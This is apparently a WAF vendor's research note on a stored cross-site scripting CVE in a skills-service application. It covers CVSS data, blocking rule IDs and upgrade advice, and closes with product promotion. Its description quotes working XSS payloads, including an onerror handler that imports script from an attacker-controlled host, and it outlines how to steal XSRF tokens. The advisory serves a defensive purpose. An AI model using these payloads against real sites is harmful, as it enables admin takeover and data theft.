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Atomicorp WAF Research Note: CVE-2026-54694
NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover
CVE Details
- Already protected by existing Atomicorp WAF rules
- Protection status: Understanding Atomicorp WAF Protection Status
- CVE: CVE-2026-54694
- Name: NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover
- Severity: Critical
- CVSS: 9.6 (v3.1) (Critical)
- CVSS version: 3.1
- CVSS source: GitHub_M CNA
- CVSS vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L- Attack vector: Network
- Attack complexity: Low
- Privileges required: None
- User interaction: Required
- Scope: Changed
- Confidentiality impact: High
- Integrity impact: High
- Availability impact: Low
- CWE: CWE-20 — Improper Input Validation, CWE-79 — Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’), CWE-116 — Improper Encoding or Escaping of Output, CWE-183 — Permissive List of Allowed Inputs, CWE-693 — Protection Mechanism Failure
- Related CAPEC attack patterns (via MITRE CWE relationships): CAPEC-1 (opens in a new tab) , CAPEC-10 (opens in a new tab) , CAPEC-101 (opens in a new tab) , CAPEC-104 (opens in a new tab) , CAPEC-107 (opens in a new tab) , CAPEC-108 (opens in a new tab) , CAPEC-109 (opens in a new tab) , CAPEC-110 (opens in a new tab) , CAPEC-120 (opens in a new tab) , CAPEC-127 (opens in a new tab) , CAPEC-13 (opens in a new tab) , CAPEC-135 (opens in a new tab) , CAPEC-136 (opens in a new tab) , CAPEC-14 (opens in a new tab) , CAPEC-153 (opens in a new tab) , CAPEC-17 (opens in a new tab) , CAPEC-182 (opens in a new tab) , CAPEC-20 (opens in a new tab) , CAPEC-209 (opens in a new tab) , CAPEC-22 (opens in a new tab) , CAPEC-23 (opens in a new tab) , CAPEC-230 (opens in a new tab) , CAPEC-231 (opens in a new tab) , CAPEC-237 (opens in a new tab) , CAPEC-24 (opens in a new tab) , CAPEC-250 (opens in a new tab) , CAPEC-261 (opens in a new tab) , CAPEC-267 (opens in a new tab) , CAPEC-28 (opens in a new tab) , CAPEC-3 (opens in a new tab) , CAPEC-31 (opens in a new tab) , CAPEC-36 (opens in a new tab) , CAPEC-42 (opens in a new tab) , CAPEC-43 (opens in a new tab) , CAPEC-45 (opens in a new tab) , CAPEC-46 (opens in a new tab) , CAPEC-47 (opens in a new tab) , CAPEC-473 (opens in a new tab) , CAPEC-477 (opens in a new tab) , CAPEC-480 (opens in a new tab) , CAPEC-51 (opens in a new tab) , CAPEC-52 (opens in a new tab) , CAPEC-53 (opens in a new tab) , CAPEC-57 (opens in a new tab) , CAPEC-588 (opens in a new tab) , CAPEC-59 (opens in a new tab) , CAPEC-591 (opens in a new tab) , CAPEC-592 (opens in a new tab) , CAPEC-63 (opens in a new tab) , CAPEC-64 (opens in a new tab) , CAPEC-65 (opens in a new tab) , CAPEC-664 (opens in a new tab) , CAPEC-668 (opens in a new tab) , CAPEC-67 (opens in a new tab) , CAPEC-7 (opens in a new tab) , CAPEC-71 (opens in a new tab) , CAPEC-72 (opens in a new tab) , CAPEC-73 (opens in a new tab) , CAPEC-74 (opens in a new tab) , CAPEC-78 (opens in a new tab) , CAPEC-79 (opens in a new tab) , CAPEC-8 (opens in a new tab) , CAPEC-80 (opens in a new tab) , CAPEC-81 (opens in a new tab) , CAPEC-83 (opens in a new tab) , CAPEC-85 (opens in a new tab) , CAPEC-87 (opens in a new tab) , CAPEC-88 (opens in a new tab) , CAPEC-9 (opens in a new tab)
- Vendor: NationalSecurityAgency
- Vulnerable product: skills-service
- CVE published: 2026-09-09
- CVE last modified: 2026-09-10
- EPSS: 0.0028; 20.6th percentile (FIRST (opens in a new tab) )
- Latest Update: 2026-09-10
- Selected Rule IDs observed: 333140 , 333141 , 340095 , 340147 , 340148 , 341256 , 342259 , 346755 , 350147 , 350148
- Matching rules: 10; rules with blocking actions: 10
- Would-block Rule IDs: 333140 , 333141 , 340095 , 340147 , 340148 , 341256 , 342259 , 346755 , 350147 , 350148
- Request surfaces inspected: JSON request data, Request URI, Request argument names, Request arguments, Request cookies, Request filename, Request headers, SOAP request data, XML request data
Vulnerability Description
SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. StringHighlighter.js builds an HTML string by interpolating raw value substrings directly into a template literal with no HTML entity encoding. HighlightedValue.vue renders that string — and all unfiltered plain values — via Vue’s v-html directive, which sets innerHTML. Separately, the account registration endpoint accepts firstName, lastName, and nickname fields and stores them without any HTML sanitization. An attacker self-registers with firstName = "<img src=x onerror=alert(1)>" (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. <img src=x onerror=alert(1)>, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin’s browser is confirmed with zero extra steps. The second is remote script loading via import(). Using the split-field technique (lastName = "<img src=x", firstName = "onerror=import('//nsas.cc/p')>"), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (//nsas.cc/p). The third is full cross-site request forgery token theft. Using eval(name), the attacker pre-sets window.name to a data-theft payload by sending the admin one redirect link first. The session cookie is HttpOnly and cannot be read via document.cookie; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim’s browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.
Recommended Actions
Maintain the observed Atomicorp protections. Keep your Atomicorp commercial rules current and confirm that the selected observed rules (333140 , 333141 , 340095 , 340147 , 340148 , 341256 , 342259 , 346755 , 350147 , 350148 ) have not been locally disabled. Atomicorp commercial rules are enabled by default. If you use Atomic WAF, review the applicable policy and rule settings.
Apply the vendor’s remediation. WAF protection is defense in depth and does not replace upgrading or following the affected vendor’s guidance.
- Affected versions: NationalSecurityAgency skills-service version < 4.4.2.
- No specific CNA/vendor solution or workaround is included in the current CVE Record (opens in a new tab) . Review the vendor’s security advisories and supported-release guidance before making changes.
Validate after changes. Confirm rule updates are current, review WAF events for the affected application, and test application behavior after vendor upgrades, mitigations, or local policy changes.
Research Notes
Atomicorp WAF protections are designed around attack techniques and exploit behaviors, allowing existing protections to apply across multiple vulnerabilities without requiring a unique rule for every CVE.
Public Vulnerability References
- NVD (opens in a new tab)
- CVE Record (opens in a new tab)
- CVE authority reference: https://github.com/NationalSecurityAgency/skills-service/security/advisories/GHSA-hqfg-c8wf-w2g8 (opens in a new tab)
Test or Research Source
- Source: Atomicorp AI Research Framework
- Tags: cve, derived, waf-probe, xss
Research Note Context
This research note documents exploit-technique analysis associated with this vulnerability and references Atomicorp WAF protections observed during engineering review, testing, or validation activities.
Atomicorp security controls are generally designed to identify and mitigate attack techniques and exploit behaviors rather than individual CVE identifiers. As a result, protections developed for one vulnerability may also apply to related attack variants and future vulnerabilities using similar techniques.
Learn More
Atomicorp develops commercially supported security technologies for web applications, servers, endpoints, workloads, and legacy enterprise platforms.
Organizations interested in protecting systems against exploit techniques associated with vulnerabilities such as this one can learn more about:
- Atomic ModSecurity Rules: commercially maintained WAF rules for ModSecurity deployments, including protections for web attacks, bots, scanners, malware, exploitation attempts, and emerging vulnerability classes.
- Atomic WAF: an enterprise web application firewall with Atomicorp rules, centralized management, reporting, authentication controls, and operational tooling.
- Atomic ModSecurity Integrator: a special licensing option for MSPs, MSSPs, OEMs, VARs, reverse proxy providers, and other integrators who want to incorporate Atomicorp ModSecurity rule technology into their own products or services.
- Atomic OSSEC: an enterprise OSSEC-based intrusion detection, compliance, and security monitoring platform.
- Atomic Protector: workload protection for Linux, web, cloud, data center, and hybrid environments.
For additional information, product evaluations, or technical discussions, visit https://www.atomicorp.com/ or https://modsecurity.io/ (opens in a new tab) .